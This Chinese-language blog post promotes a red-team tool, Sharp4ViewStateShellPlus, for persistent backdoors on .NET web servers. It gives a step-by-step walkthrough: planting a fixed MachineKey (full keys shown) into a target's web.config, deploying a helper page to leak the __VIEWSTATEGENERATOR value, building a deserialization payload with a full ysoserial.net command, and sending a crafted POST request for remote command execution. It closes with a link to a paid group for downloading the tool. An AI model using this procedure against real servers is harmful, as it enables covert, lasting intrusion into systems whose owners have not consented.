揭秘.NET ViewState 持久化利用链,通过 Sharp4ViewStateShellPlus 一键增强持久化后门

在红队渗透测试中,权限维持是极其关键的一环。在目标主机初次被攻陷后,如何长期稳定地保持对其访问权限,往往决定了整个行动的成败。特别是在面对以 .NET 技术构建的 Web 系统时,如何在不暴露明显痕迹的情况下实现远程命令执行,一直是红队技术研究的重点。

01. 工具基本介绍

Sharp4ViewStateShellPlus.exe 正是为此目标量身打造的一款利器。它是工具 Sharp4ViewStateShell.exe 的增强版本,核心依然是通过配置自定义 MachineKey + 利用 .NET ViewState 反序列化机制实现远程命令执行,但在功能和易用性上做了关键性升级,进一步提升了红队在实际渗透场景下的适应能力和攻击效率。

02. 工具实战用法

.NET 的 ViewState 功能本质是为了解决 Web 应用的无状态问题,保存控件状态信息。但如果目标应用开启了 EnableViewStateMac="true" 并使用弱或可控的 MachineKey,攻击者就可以伪造 ViewState,借助 ysoserial.net 工具构造反序列化链,从而实现命令执行RCE。

2.1 一键修改配置文件

一键运行 Sharp4ViewStateShellPlus.exe 修改目标站点的 web.config,直接运行 Sharp4ViewStateShellPlus.exe,无需任何参数。运行以下命令,无需参数:

Sharp4ViewStateShellPlus.exe

图片

执行后,工具会自动定位并修改当前目录下的 web.config 文件,为目标站点插入如下 MachineKey:

<machineKey validationKey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F"
  decryptionKey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6"
  validation="SHA1"
  decryption="AES"/>

此配置将确保后续的伪造 ViewState 能通过服务器验证。

2.2 内置脚本获取参数值

Sharp4ViewStateShellPlus.exe 新版本工具会自动生成并部署一个辅助页面 GenerateViewState.aspx。该页面的唯一目的就是输出一个稳定、可用的 __VIEWSTATEGENERATOR 值。此页面极大简化了信息收集流程,解决了如下问题:原页面 aspx 被统一重定向;__VIEWSTATEGENERATOR 参数在某些页面中缺失;页面复杂度高,难以提取值。

比如访问:http://target-site/GenerateViewState.aspx,打开浏览器开发者工具,或使用 Burp 抓包查看响应内容,通常可获取:

<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR"value="DBC4925F"/>

2.3 生成恶意攻击载荷

随后,使用 ysoserial.net 构造反序列化命令,生成后会输出一串 Base64 编码字符串,对应 ViewState 值。具体用法如下所示。

ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" \
--validationalg="SHA1" \
--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F" \
--decryptionalg="AES" \
--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6" \
--generator="DBC4925F"

2.4 构造POST请求

最后,构造如下 POST 请求,并将上一步生成的 ViewState 值粘贴到 __VIEWSTATE 参数中:

POST /GenerateViewState.aspx HTTP/1.1
Host:localhost
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) Chrome/137.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length:9337

form1_r=0.7834879954225045&form1_t=1734416003580&form1_d=1734416071170&form1_e=2&__VIEWSTATE=【此处粘贴生成的ViewState】

如一切配置正确,将在页面响应中看到命令结果,比如 tasklist

图片

综上,Sharp4ViewStateShellPlus.exe 释放了一个GenerateViewState脚本,更加容易获取__VIEWSTATEGENERATOR 参数值,再加上利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey,实现持久化远程命令执行,非常适合在红队渗透中用于权限维持。

 文/章/涉/及/的/工/具/已/打/包,请//加//入//后/下//载:https://wx.zsxq.com/group/51121224455454 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值